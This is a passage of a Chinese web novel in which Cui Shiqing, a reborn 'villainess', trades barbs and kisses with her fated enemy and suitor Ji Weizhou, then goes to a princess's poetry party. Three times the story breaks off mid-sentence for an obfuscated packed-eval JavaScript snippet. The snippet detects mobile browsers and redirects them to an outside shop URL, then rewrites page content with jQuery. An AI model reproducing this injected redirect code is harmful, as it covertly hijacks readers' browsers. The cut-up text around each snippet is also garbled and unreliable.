他真没被夺舍?! 崔时清气呼呼地想,声音也冷硬得近乎无情,道:“说吧,想要什么!” 纪危舟眉眼缱绻地望着她,在对方耐心尽失前,乖觉地笑道:“岳父岳母快来了,届时你得陪着我同去驿站迎他们。” 崔时清冷冷道:“换一个!” 纪危舟像是完全看不出崔时清的抵触,在衣袂的遮掩下,指尖攀缠着纤软的手指,低语着。 “软软。” 崔时清烦得不行,用力推了一把,见纪危舟踉跄得向后倒去,唇角堪堪上扬几分,就被一股巧劲卷着,扑入他的怀中。 扶着劲瘦的腰站稳后,崔时清的眼神有些迷茫。 她知道纪危舟有些拳脚功夫,可之前几世任凭她如何折辱,都不见他使上功夫来反抗。这一世她收敛起爪牙,纪危舟反而耍起了百般诡计?! 到底是她有问题,还是这狗东西有问题? 不理解。 但,肯定是纪危舟的问题更多。 “你是故意的。”崔时清昂起头,眉头倒竖,气势汹汹地瞪着眼睛。 纪危舟一手举着鱼浅,一手托着细腰,面色无辜、神色清白地瞅着她,轻声应道:“嗯,是故意的。” 居然承认了?不要脸! 崔时清气得面色涨红。 “时娘……” 崔琳琅看着兄长难看的面色,帕子捂着唇,轻声提醒。 崔时清双手抵着纪危舟的胸膛,推了推,没推动,箍在腰间的手臂反而更紧了些。她咬牙切齿地瞪着纪危舟,脚下发力踹了他一脚,听见吃痛的闷声作响,语气冷冷地低斥道。 “还不滚?” 纪危舟目光幽幽,还没讨乖装上委屈,身后看了许久的俩人先有了动静。 王思玉拉着陈柔欢疾步走了过来,目露震惊地控诉道:“你怎可如此欺辱纪家阿兄!” ——“你怎可如此欺辱纪家阿兄!” 记忆中的声音,也同时响起,崔时清顿时头皮发麻。 每次听见王思玉的这句话,她就会倒霉,甚至还能感受到脑壳被石头磕破、血流而尽的昏痛。 崔时清无意识地索取身前的热源,待一阵寒战过后,又恢复了镇定。揪着纪危舟的衣襟,偏头望向如狸奴炸毛的王思玉。 “你有眼疾吗?” 纪危舟无赖至此,还要算在她头上?!没天理啊! 王思玉尖声道:“你!你过来!” “过去?凭什么听你的?”崔时清歪着头思索了一下,恶劣地笑了起来。 她可没那么傻!要是这炮仗脾气发了威,就拿狗东西来挡! 眼看着崔氏恶女紧紧地贴在纪家阿兄身上,王思玉眼珠子都快要掉出来了,恨不得立即就把不知羞的女娘揪着扔下楼,浸在护城河里泡个三天三夜。 王思玉摇着陈柔欢的手臂,气急败坏道:“阿柔,你看看她,这分明是要毁掉纪家阿兄的清名!” 陈柔欢不自在地理了理衣袂,开口劝和,“此处人多眼杂,时娘与阿兄若有误解,不妨入阁子里坐下道明、说清缘由,免得伤了和气。” 崔时清:“……” 这群没有眼力见的东西,她的委屈能说得明白吗? 入阁子细说?没有外人,亦可的。 纪危舟抱着鱼浅,垂眸不语。 “……” 陈柔欢好声好气说了半天,却无人回应,难为情地皱了皱眉头,瞅着他们。 此二人实在无礼。 陈柔欢觉得丢面,很想挥袖而去,然而在王思玉和姊妹的面前,却无法抛下众人皆认可的、与她才貌般配的‘未来夫婿’,只好压下心中的不快,勉强地再次开口。 “阿兄?” 崔时清看着依旧无动于衷的纪危舟,凶巴巴道:“装聋作哑什么?不知道的还以为我拔了你的舌头,拿着刀逼迫你了!” 话落,王思玉和陈柔欢不约而同地看向她的双手,寻找暗藏的凶器。 崔时清没有错过她们的眼神。 她原计划在寿安长公主的诗会上,在纪危舟追随者面前宣示她的所有权,把那些打不过她、又爱嚼舌根的对头都通通都踩在脚下,让他们哭唧唧地跑回家、咬被子掉眼泪,却又对她无可奈何。 她想得美美的,却没想到纪危舟会突然跟来,还死皮赖脸地威胁她! 崔时清气得不行,心里在放弃和挣扎之间左右摇摆,最终狠下了心,呲着牙,一字一顿,恨不得把眼前的对头嚼巴嚼巴碎了,咽进肚子里。 “……行!行!我知道了!你现在就走!” 纪危舟眸光微亮,欢喜道:“说好了,不反悔?” 崔时清咬了咬后槽牙,“不、反、悔!”才怪! 纪危舟双眼含情地觑了她一眼,低声道:“我先去教宠所,软软不可贪饮,晚些时候我再来寻你。” 崔时清忍着怒气,“好!”个鬼! 纪危舟大获全胜,不敢再惹女娘生气,捧着鱼浅与其他人颔首道别,临走前又多看了一眼崔绯,弯唇笑了笑,才兀自而去。 在几近挑衅的笑容下,崔绯的眉眼染上了些许浮躁之气,蹙着眉目送着纪危舟离开。 自觉备受冷落的王思玉瞅着崔时清,似是要透过这层皮囊,看清她染着恶毒的血肉白骨。 “没想到啊,你太让我……” 蔡梦期亲眼见到纪危舟对自家姊妹温情似水的一面,不由啧啧称奇,正想说些狂放之言,察觉到王思玉等人的目光,只得憋着笑,按捺住心中的雀跃,欢快地摇了摇崔时清的手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13666614|140692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 臂。 ——我的好时娘,太给姊妹们长面了! 崔琳琅站在她身边,跟着腼腆地笑了笑,没有说话。 王思玉还在用她犀利的目光,检视着崔时清,越看越觉得迷茫,喃喃自语着。 “……究竟是什么?” 崔时清回瞪王思玉,没好气道:“看够了吗?!” 狗东西都走了,她们还杵在这里做什么!让人闹心! 王思玉想不通,便直言问:“你用了什么法子逼迫纪家阿兄的?” 崔时清阴冷地笑道:“下药啊。” 王思玉倒抽了一口凉气,“崔氏恶女!你居然想毒死纪家阿兄!你好狠的心啊!” 崔时清:“……” 想,她很想啊!这顿骂,不好反驳了。 此时沉默胜有声,王思玉当即暴跳如雷,颤抖着手指向崔时清,“快!把解药交出来!否则、否则……” “否则什么?又想动手了?”崔时清摸了摸暗袋里的玲珑匕首,嗤笑着。 她可不是吃素的!还能次次都栽在这没脑子的炮仗筒子手中了?! “我才不是你呢!”王思玉气得脖子都红了,“把解药交出来,不许再害纪家阿兄了!” 崔时清双手抱臂,盯着她看了一会儿,问:“你是更想要解药,还是要毒药?” 王思玉难以置信道:“……我、我怎会想要。” 崔时清打断她,“有了它,你也可以让纪危舟对你言听计从呀。” 王思玉下意识问:“真的?!” 崔时清勾唇笑着,眼里全是嘲弄。 王思玉哪里还不知,她这是被戏耍了,气哄哄地扯着陈柔欢的衣袖哭诉,“阿柔,你瞧瞧她,太过分了!” 陈柔欢正出神地望着消失在转角处的背影。 她是国公夫人陈芝岚的亲侄女,与纪家姊妹相交多年,对崔时清也颇为熟悉。 曾经,崔家时娘和纪家三表兄就像水火,不得共处,她见得最多的便是崔时娘张牙舞爪、争锋相对,而三表兄面色冷淡、浑不在意;而今日,水火本性不改,却变得相融了,甚至于在他们相视与交谈间,似乎被一张柔韧而坚不可摧的密网裹挟着,隔绝出只属于他们的私密空间,无人可以介入,包括她。 这可不行! 纪家三郎虽是庶子,但才情人品皆为上佳,与她更是京都上下人人称赞的良配。众人皆知,她也早已接受的未来,可容不得半途改写。 陈柔欢抿了抿唇,只想尽快结束应酬,归家请母亲去探一探姨母的口风。 “时娘调皮爱闹,没有恶意的,阿玉不必介怀。”陈柔欢施施然笑了下,看着崔时清又道,“此处不便闲谈,改日再叙。” 崔时清看着陈柔欢领着一众京都才女入阁子相聚,余光扫过站在身侧的崔绯,唇角浮起淡笑,语气随意地与蔡梦期笑说。 “长公主的诗会你可会去?” “不知,这种场子无趣得很呀。” “听闻六皇子也会前往,想来必定热闹。” “六皇子?当真?这不会是场相看会吧?” “不好说,但我听说已有不少郎君在走许展的路子,就盼着诗会上与皇子同游。” “这可有趣了!我要去瞧瞧!” “……是有趣得紧,若是再有幸帮了嫡皇子的忙,可不得平步青云了?” 崔时清看着若有所思的男子,轻声笑了起来。 22. 嘴硬 用过午食,崔时清告别友人,正要登上国公府的马车回庄园。 一直沉默的崔绯突然走上前,问道:“时娘,可否容我一盏茶的功夫?” 站在马车边,她看着一丈之外的崔琳琅,似笑非笑地弯着唇,点了点头。 桑麻与叶霖领着其他人后退,在听不见二人谈话的地方垂眸侍立。 “阿兄想说什么?”崔时清直视崔绯的眼睛。 崔绯带着克制又难耐的神情,望着三步之遥的女娘,动了动唇瓣,才道:“今日来此便是唐突,本不该再与你私话,但情难自已,还请见谅。” “我不明白。”崔时清歪头想了想,眸光清澈地瞅着他,以饱含困惑的声音问,“我与阿兄怎会用上情之一字?” 青布长衣下的内敛沉稳蓦然无踪,崔绯眼眸微红地看着崔时清,向来沉寂的眼睛蕴含着无限情深与缱绻缠绵,直白地表露于外。 “时娘,我很……” 崔时清看着这道专注又黏腻的目光,很快失了兴致,淡笑着打断他。 “无妨,谁都有私心。琳琅是我的挚友,她的私心并未惹我烦忧,便谈不上见谅与否,阿兄更不必为此自责。” “……” 被迫自责的崔绯,差点没维持住情深的表情。 崔时清看了一眼天色,面上多了几分不耐,问:“阿兄还想说什么?” 崔绯咬了咬牙,也顾不上‘含羞带怯’,“时娘当真要嫁与纪家三郎吗?” “全凭父母之命。”崔时清没什么表情地答。 崔绯的野心,她是知道的。 既想要在庙堂朝局占得一席高位,又想攀附崔氏主家的世家名望,成为真正的崔氏人。 与她结亲,是最好的捷径,也是唯一的渠道。而他自觉能拿得出手的,就是还不错的皮囊与一腔深情爱恋。 崔时清暗自轻哂。 若是崔绯以不择手段与果决狠辣的一面,来求娶她,看在他中用的份上,结亲也未尝不可。毕竟,他们拥有同一个宿敌。 恶毒之人共事同谋,干尽坏事,不比装腔作势、故作情深来得痛快吗? 崔时清觑着眼前的同类,惋惜地叹了口气,提醒道:“朝局多变,阿兄志存高远,更应该着眼于此,切勿因不足为道的私念而误了前程。” 崔绯直勾勾地望着黑漆漆的桃花眼,冰冷冷的,没有多余的情绪。 不足为道?指的是他?还是情爱之事?为什么纪危舟却能吸引住这双冷情至极的眼睛?他不甘心,却无可辩驳。 “时娘说的是。”崔绯凄然一笑。 上车前,崔时清似是突然想了起来,回头道:“琳琅已在相看册子了?明日我会差人送去长公主诗会的帖子,阿兄领着琳琅一同前去吧。” 崔绯颇为意外地看着她,在收到一个意味深长的笑容后,心情复杂地双手作揖,“时娘费心了。” 崔时清略一颔首,扶着桑麻的手进了车内,入眼的是斜倚在软座上,品茗偷听的人。 “……你可真行。”崔时清嘲讽道。 避开侍卫的耳目,堂而皇之进入她的马车内,还真是深藏不露啊狗东西! 桑麻低着头,退了出去,与马夫一同守在车厢外。 “累了吧?” 纪危舟伸出了手,笑看着她。 崔时清也不见外,搭着他的手臂入座,嫌弃地看了眼正吐着泡泡的金鲫鱼,“不是要去教宠所吗?” 纪危舟握住崔时清的手,揉捏着圆润的指尖,“我想与软软同去。” 崔时清翻了个白眼,道:“我不想。” 纪危舟像是没有骨头一样,靠在崔时清的肩头,“那我们回庄子吧。” “不心疼你的鱼了?”崔时清嗤笑。 纪危舟脸不红气不喘地说:“我们的鱼。见了软软,金鲫鱼心情大好,想必不去教宠所也无妨。” “挨在一起做什么,不嫌黏糊吗?” 强行分开了鱼浅中顶在一起的两个鱼脑袋,崔时清回头觑着身边人,“还有你!走开。” 纪危舟顿时委屈了,双手双脚叛逆地缠上崔时清,紧紧攀着她,“软软对外人和颜悦色,却对我狠心得紧。” 崔时清被缠得心口憋闷,随手推了一下纪危舟,却惹来他更放肆的缠搂。怒斥的话在唇齿间转了几转,最终暗叹了一声,放软身体,顺从地依靠着纪危舟。感受到缠绕的手劲松了些许,才懒洋洋地开口。 “谁是外人?” “自是除了我,企图靠近软软的,都是外人。”纪危舟说话间,还颇为不平地冷哼了一声,双臂发力,抱起人儿放在腿上,伤情地低下头蹭了蹭崔时清的颈窝。 这厮怎么越发癫疯了?是原本就疯,还是被她教坏了? 崔时清瞅着肩窝上沉甸甸的脑袋,陷入沉思之中。 “不许再对外人那般好了!”纪危舟抬起头来,满脸不快地盯着她。 她对谁好了? 崔时清迷茫。 “软软!”纪危舟不依不饶,非要崔时清给个承诺。 崔时清被闹得有些烦了,沉着脸瞪他,“找什么茬?!” “你对我不好!”纪危舟控诉。 崔时清感到不可理喻,“我能对你好吗?”宿敌,我们可是九世宿敌啊! 理解,但是还要哄的纪危舟只好使出绝招,捏着崔时清的下巴,亲一下她的唇瓣,眼巴巴地瞅着她,一遍又一遍,不说话却又似诉尽了无数的委屈。 “……” 自认为在纪危舟疯癫道路上负有主要责任的崔时清,在眼皮连跳了数下之后,妥协了。 “好好好,知道了!”为了战胜天道,且忍你一时之疯! 纪危舟得寸进尺道:“要对我好?” 崔时清睁眼说瞎话,“好。” 纪危舟欢喜地亲了亲她的眼睛,又说:“长长久久陪着我?” 崔时清想象着天道父子俩颓败的模样,点了点头,“行。” 纪危舟眉开眼笑着,“不再与崔绯往来?” 崔时清正要颔首,突然嗅到了阴谋的味道,眯起眼睛审视纪危舟。 这狗东西,果然是来捣鬼的! 纪危舟知道崔时清对崔绯只存了利用之心,九世中独独追寻他的目光,不会投向旁人。 他心中明白,可偏偏抵不过那一股说不清道不明的情绪,他不想见到觊觎崔时清的人出现在他们的眼前。 他想,崔时清深知人心之恶,却对人性的贪婪不够了解。既如此,便由他来,斩断 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13679327|140692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 崔绯的妄念吧。 好心情沉了几分,纪危舟抱着怀里的人,面露不豫之色,“为何不应?” 还敢给我甩脸色了? 崔时清也臭着脸,反问道:“崔家阿兄与我相识多年,怎可因你只言片语就断绝往来?” “可他倾慕你。”纪危舟说罢,似是气不过,手指挤进崔时清的指缝间,紧紧扣着她的手,非要与其十指相交。 崔时清冷眼瞅着他无聊的举动,半晌才语气淡淡地开口:“倾慕我的多了,难不成我还要为此闭门不出?” 纪危舟不服气道:“崔绯此人心思深沉,不可小觑。” 崔时清唇角微抽,言辞尖锐道:“他可比不得你,一身小心眼,还会翻墙钻洞、哄骗偷听!” 纪危舟不以为耻,昂起头,傲然道:“他是比不过我。” 崔时清一念忽起,感到心尖酥麻难忍,便倾身亲了亲他的面颊,又亲了口他的唇瓣,嘲笑着,“你这厚脸皮与嘴硬的本事,谁也比不过。” 纪危舟注视着崔时清,慢声道:“嘴硬吗?你再尝尝?” 崔时清默了默,却没拒绝,仰起头,把自己送了上去。 唇齿交缠的一刻,崔时清有些失神,双臂环着纪危舟的肩颈,低低轻喘着,在一声声耳语追问下,逐渐迷失,被引诱着说尽好言软语,一声又一声。 “……不要了。” 崔时清抵抗着身心深处的眷恋。 “软软应我的,可不能忘了。” 纪危舟凝视着怀里如花绽放的女娘,指尖划过松散的长衣,不紧不慢地替她整理着,眉眼间透着不满足。 崔时清的脑中空了一瞬,想不起他指的是什么。 她并不在意在意乱情迷下,应下了什么荒唐之言。至于守信?这是不可能的!她可是京都有名的恶女,哪里需要守信了?! “……嗯、唔。”崔时清支吾两声,敷衍应对。 纪危舟怎会看不穿崔时清的念头,但他也不在意。毕竟,面对坏心又贪欢的女娘,他多得是法子可以让她履行约定。 “你与姊妹玩耍,都买了什么?”纪危舟随口问。 崔时清的呼吸乱了须臾,不动声色地看着画仙勾勒过的眉眼,“女娘们的玩意,你也感兴趣了?” 纪危舟蹭了下她的小翘鼻,笑道:“我只对软软有兴趣。” 崔时清后仰着身子,嫌弃道:“我可不想与一介郎君谈论脂粉裙裳。” 纪危舟遗憾地瞅着她,“是吗?亏我还研究了几日图样,想为软软画几身裙裳的。” 崔时清睁大了眼睛,有些不知所措。 她是想把天道之子养得不务正业、沉迷玩乐,却也没想过让他钻入女娘的裙裳堆中,画起图样来呀。 崔时清不自在地问:“怎、怎么突然想起画衣裙图样了?” 纪危舟喜爱她使坏的模样,也钟情她招架不住自己时所生的乖巧,爱不释手地搂抱着崔时清亲了又亲,才道。 “我想让软软穿着我的婚服,与我成婚。” 被吻过的地方,烫得让人无法忽视。 崔时清垂着眸,躲开了那道同样灼热的目光,下一刻却被搂入怀中。耳廓紧贴着宽阔的胸膛,在一声声有力的心跳声下,思绪渐渐飘远。 23. 他的 经过深思熟虑,崔时清决定全力支持纪危舟的不务正业。 他喜爱养宠,两尾金鲫鱼自是不够的,鸡皇也给他。日后还可以在宅院里开辟出鸡舍与鱼塘,好令他可以在后院里专心养鸡喂鱼,颐养天年。 他画技出众,除了裙裳以外,首饰冠子也由着他来安排。能者多劳,在收到夏衣图样的同时,崔时清已计划好为他开一家衣裳铺子,好让他尽情发挥自己的才干。 除此之外,酒色亦不可缺。 他的精力太旺盛,也缠人得紧,崔时清可不想在做坏事的时候,还要分出心神来应付他。 一切都准备妥当。 在她严密周到的行程下,崔时清神色倦怠,看着教坊司的歌舞娘子又弹又唱,耳朵嗡嗡作响。 而身边的纪危舟,如吸人精气的狐妖,好似不知疲倦,精神奕奕地饮酒观舞,时不时感慨一声,赞许她挑选歌舞美酒的好品味。 崔时清:“……” 被迫亲手喂了金鲫鱼和山鸡,举着团扇端坐了一个时辰只为入画。正要午歇时,请来的教坊司娘子到了,她又被扒拉起来,撑着沉甸甸的眼皮观美人歌舞。 崔时清又累又气,偏偏全无抵抗之力,就这么糊里糊涂的,做尽蠢事。 “明日请的是昌黎苑的说书先生吗?”纪危舟一脸兴味地问。 崔时清装聋作哑。 “软软?”纪危舟欺身瞅着她。 好累、好烦,不想说话! 崔时清的眼睛停在婀娜旋舞的舞娘身上,连余光都不曾给他。 纪危舟看着与自己闹别扭的崔时清,偷笑了一声,随之莫名涌起一股烦闷。他顺着崔时清的目光望去,看着衣着华丽的美人,眼神不受控制地冷了下来。 她是我的。 纪危舟伸手揽过他的小女娘,扫了一眼侍立于身侧的桑麻,后者看向有气无力伏趴在郎君肩头的主子,喊停歌舞,领着众人退下。 耳根子得以清净,崔时清也不抗拒纪危舟,靠在他的怀里,眯着眼睛养神。 纪危舟的双眸幽沉地注视着越来越习惯他的女娘子,手掌落在她的后颈上,感受着纤细又脆弱的脖颈,随着轻浅的呼吸,贴在他的掌心起起落落。 他喜欢这样,相依的温暖,但,仅仅如此是不够的。 他需要更多,更多的回应、更深入的温度、更紧密的交缠。 双唇印在滑腻绵柔的耳垂上,轻声问:“软软累了?” 这才哪到哪儿?! 崔时清挣扎着撑开眼皮,眼神凶凶地反驳,“我才不累呢!” “软软真厉害。”纪危舟含住嘴边的软肉,低低笑着。 崔时清肩头微颤,不太高兴地问:“你平日都在用什么汤药进补?” 纪危舟捏了捏她的后颈,忍着笑反问:“软软问这个,是嫌我这几日不够用功了?” “别让我撕了你的嘴皮子!”崔时清用力捶了他一拳,还是气不过,又道,“遮遮掩掩作什么?还怕我盗走你的方子?!” 纪危舟握着她的拳头,亲了一口,戏谑道:“自然不会!软软见惯了好物,又怎会眼馋我的补汤?” “……” 很眼馋,却又不能承认的崔时清,只好硬气地回:“来路不明的方子,我可不会用的!” 纪危舟故意迟疑了一下,慢声道:“我用的汤药方子是空晖禅师开的,但想必是入不了你的眼。” 崔时清的声音顿时拔高,“你认识空晖禅师?” 纪危舟淡笑道:“他是老先生的至交。” 空晖禅师不仅是禅宗大师,更是可以生死人肉白骨的佛医,可惜行踪不定,施医用药皆要讲求缘法,多少世家亲贵费尽心思却是求拜无门,渐渐也就打消了问医的心思。 崔时清眼红得厉害,看着纪危舟没一处顺心的,便恐吓道:“再怎么好的方子也不能乱吃,小心进补过甚,反倒掏空了底子。” “你说的极对。” 瞅着女娘子绷着严肃的面孔,一副为他着想的模样,纪危舟虚心受教。 崔时清抬起下巴,给他一个‘算你识相’的眼神,双手抱臂傲慢地说:“把方子抄来,我令人替你检查一下有无不妥之处。” “软软就这般在意我?”纪危舟扬眉问。 崔时清默了默,冷冷笑道:“我可不想嫁与病秧子。” 纪危舟点了点头,“软软是要与我白头偕老的。” 崔时清:“……” 我是要熬死你,改嫁的! “软软?”纪危舟缠了上来。 崔时清当即一激灵,面露凶相道:“大暑之期,不准你再胡乱进补了!” 纪危舟抱着满怀香软,自然乖觉,“好,皆听你的。” 崔时清的桃花眼还凶巴巴的,声音冷硬地说:“还有……” 纪危舟抢话,“我的汤药方子过会儿就抄,以后就劳累软软替我调理身子了。” 老禅师的补汤方子啊,她要多喝几碗! 崔时清的表情和缓了下来,喜滋滋地歪在纪危舟的怀中,馋得不行。 摩挲着崔时清的背脊,感受到掌下每一寸肌骨在他的抚摸下渐渐松弛,纪危舟的眼中浮起难言的满足。 他弯唇笑着,又道:“至于软软,就由我来照养吧。” “这怎么能行?” 崔时清可不放心她的九世死敌。 纪危舟拢紧了她,“不放心我?” 是啊!不放心! 崔时清心中满满的怀疑,面上却不显,好声好气地安抚道:“你不知养生之道,不必勉强做这不擅长的事情,有这功夫,不如多画几张衣饰图样吧。” “为了软软,我什么都可以做的。”纪危舟在崔时清的颈侧印了一个吻,又道,“况且,我与禅师同住数月,也学了些皮毛。” “不过几月功夫,你就敢给我用药调养了?”崔时清一言难尽地瞅着他。 纪危舟回以自信的笑容,“禅师说我很有天赋。” 崔时清再次强调,“一些皮毛而已!” 纪危舟坚信自己的能力,捧起崔时清的面颊,连亲了几口,又道:“软软且安心。” “安心不了。” 这厮不会也想掏空她的底子,熬死她吧?崔时清忍着面上的痒意,认真地盯着纪危舟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13715805|140692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的眼睛,企图寻找他的破绽。 纪危舟故作沉思地顿了一下,开口道:“软软不必害怕。我与禅师时常互通书信,若有不解之处,我就写信问他。” 这靠谱吗? 崔时清觑着他,还有些顾虑。 纪危舟看着略有些松动的戒备,压着微扬的唇线,说道:“前些日子你突犯昏症,我就递了封书信与禅师,请他得空入京为你看诊。这时候,想必他已收到信件了。” 崔时清微张着唇瓣,直勾勾瞅着纪危舟,眼睛里是掩不住的惊喜。 一瞬惊喜冲击过心尖,惹得她无措了须臾。回过神来,崔时清压抑着这股雀跃的情绪蔓延外露,沉下心绪,以淡然的口吻应对。 “……你,有心了。但老禅师行医向来是重缘法的,恐怕不会因一封书信就千里而来。” “他若不来,我便亲自去请。” 纪危舟欺身亲了口香软的唇,迎上氤氲着水泽的桃花眼,一错不错地欣赏着女娘想要又故作矜持的小表情。 “当真?” 崔时清欢喜的同时,又感到不解。 “当真。” 纪危舟答道,狭长的黑眸染着笑意,望进了桃花眼底。 像是熟练沉稳的猎食者,拥有着无尽的耐心,在张开獠牙前小心隐藏起所有的锋芒,伪装成无害的绵羊交付着他的善意,只等待最佳的时机,扑咬猎物,深入地挖掘与掠夺他的宝藏。 崔时清眨了眨眼睛,一丝怪异的情绪骤然掠过,迅速地消失无痕。她蹙着眉感知着,却怎么也捕捉它。随着光阴移转,她甚至不知自己在找什么,对突如其来的深思亦感到惑然难解。 她抿着唇瓣,把乱飞的思绪拉了回来,继续探究纪危舟本身。这般费尽周折,他在图什么呢? 突然福至心灵,崔时清看着眼前讨好献媚的男子,了然了。 ——这厮是被她的美貌迷昏了头啊!也罢,至少在色衰爱驰之前,他还是舍不得自己的! “你有此心,就依着你来办吧。” 崔时清想通了这点,暂且放下了心中的顾虑,鼓励纪危舟。 “软软想好,把自己交与我了?”纪危舟忽然发问。 崔时清觉得这个问法有些奇怪,但瞅着如常的面色,又觉得他说的也无错,她是要把身体康健之大事托付给空晖禅师的小学徒了。 点了点头,她答:“嗯,交给你了。” 刹那间,京都人心中的姣姣明月散发出如烈日般的炽热,连黑沉的眸子都被夺目的光晕所浸染。 他的傻女娘,他的。 在这个念头下,曾经那些无尽的长夜,都在此刻都变得缥缈淡远,纪危舟第一次感受到了填满胸腔的餍足。他微微吞咽着喉间的痒意,抑制不住发笑的冲动。 他在傻乐什么? 崔时清瞥了一眼纪危舟,想着在空晖禅师的妙手下长寿安康,活得长长久久,便也忍不住想笑。 纪危舟无声地笑看着崔时清,在没有遮挡的相视中,他们凝视着彼此,于目光交汇处交换着那发自心灵、轻飘飘又极其纯粹的愉悦。 真好。 他们想。 24. 诗会 很快就到了十五诗会之日。 在舅母陈芝岚的安排下,崔时清和纪危舟、纪舒明乘着马车前往公主府。 刚下车,他们就遇见了嫁与殿前都指挥使的纪家长女纪秦婉,她身后跟着稚气未脱的小姑子张知茵。 “阿姐。”纪危舟点头招呼。 “阿姐怎么来了?”纪舒明惊喜地瞅着她。 纪秦婉没理睬一惊一乍的纪舒明,眼神扫过纪危舟与崔时清,温柔地笑了下。 “从庄子过来都累了吧?” 崔时清随意地摆了摆手,拉过张知茵的手,问纪秦婉:“知知这是长高了?更漂亮了!” 张知茵羞涩地低下头,任由她拉着。 纪秦婉笑着说:“你可不许闹她。” 崔时清睁着一双无辜的眼,抱怨了一声,歪头瞅着张知茵,看了半天又道,“知知年岁还小,怎么来凑这热闹了?” 纪秦婉把小姑子解救出来,“小姑平日甚少出门,长公主的诗会上女娘子多,正好可以跟着玩闹一番。” 崔时清重重松了口气,挨着她们站着。 “原来如此,我还以为是姑嫂不睦,才想早早把知知嫁出去呢!” 纪秦婉讶然地张着嘴,好半天都说不出话来,本不想搭理表妹,但又怕张知茵多想,便没好气地拍了一把崔时清的手背,轻声叫骂道。 “你这顽猴,说的都是什么呀?!知知还一团孩子气的,怎能嫁人?我与都指挥使可舍不得!她还要在我们身边多养几年呢!?” 殿前都指挥使张毅是从军中一步步爬上来的,父母早逝,家中只有一位幼妹,寄养在同族家中。 兴许是身边没有至亲,吃了不少苦的小女娘在乖巧安静的脾性下,隐藏着一颗极度敏感的心。自从张毅升任高位,迎娶了京都贵女,张知茵更是活得小心翼翼,唯恐惹兄嫂厌弃。 也是这场诗会,张知茵从其他贵女耳中听说长公主举办诗会的目的,便以为兄嫂要把她嫁出去。惶恐之下,郁结难纾,一场热症中香消玉殒。 纪秦婉与张毅虽有情意,却抵不过张知茵之死,最终合离、立约永不相见。 不论是张知茵、还是纪秦婉,崔时清都存有几分好感,这样的结局是她不愿见的。若她能改变,挨一下打,也没什么。 崔时清心无介怀,却还是捧起挨揍的手,委屈巴巴地瞅着纪秦婉,“表姐疼爱小姑,也不必对我下此毒手吧?” 纪危舟瞥了一眼完好无损的手,无奈地摇了摇头。 ——真是傻。死得比谁都惨,却还要怜惜别人。 眼前闪过那些刻骨的画面,心头不由地闷滞了一瞬。纪危舟怔怔然地看向那双莹莹浅笑的眸子,很想要抱一抱崔时清。 纪舒明挤出怪笑,幸灾乐祸道:“阿姐打得好!她最近特别张狂,可得好生来治一治她了!” 崔时清瞪了他一眼,在纪秦婉这里讨不得好,就转而瞅着张知茵,“知知。” 张知茵从纷杂的思绪中跳了出来,怯生生地伸出手,轻轻勾了下崔时清的指尖,小声问:“我、我给你、买药,不要难过。” 崔时清顺手牵起张知茵的手。 “不用买药。待会儿知知都陪着我,我就不难过了。” 张知茵直勾勾地望着美得像仙子一样的贵女,正要点头,又有些不安,转头看向长嫂。 纪秦婉还在惊讶于张知茵开口与崔时清说话,收到小姑询问的目光,心下更是惊奇。此行就是带着小姑来交友的,因表妹肆意自我的脾气犹豫了一下,很快就想通了。 小姑太过怯懦隐忍,若能学来几分桀骜不驯,反倒是件美事。 纪秦婉点了点头,叮嘱道:“十六娘要是欺负你,就来我这儿告状!” 崔时清哼了声,使坏地揉捏着小女娘的手。 张知茵顺从地伸着手,噤声不语。 “你们怎么在此处站着?”一位相熟的夫人撑着团扇,轻呼道。 纪秦婉不再耽搁,领着几人一同越过月洞门,来到设宴之处。 “长公主万福。” “许久不见你们几个小的,都来我身边,让我好好瞧瞧。”寿安长公主坐在高位,和善地笑道。 纪秦婉等人应声,上前数步。 长公主笑盈盈的眼睛一一扫过阶下的儿郎女娘,最后落在崔时清身上,多看了几眼,才命人给纪秦婉赐座。 “那儿都在玩着呢,留着婉娘陪我,你们都去吧。” “是。” 石桥两侧分别种着牡丹与竹郎,来此的男女也自觉一分为二,没有逾越溪水之隔。偶尔有几个胆大的,故作随意地散步至溪边,举目遥望、欣赏起对岸的好景。 崔时清牵着张知茵往女客那侧走去,纪危舟眼瞅着走得洒脱的背影,心下有些怅然。 纪舒明再怎么粗心大意,也实在难以忽略纪危舟幽怨的眼神。他捂着面颊,很是牙酸地开口道。 “有什么好看的,舍不得就跟着去啊。” 纪危舟蹙着眉,若有所思地默了默,“兄长说的不错。” 说落,他抬起脚就要跟。 纪舒明吓了一跳,连忙扯住他的手臂,“不是,我瞎说的啊!” 纪危舟回头,认真地看着他,“兄长,劳烦松松手。” “不行!你不能去!太丢人了!” 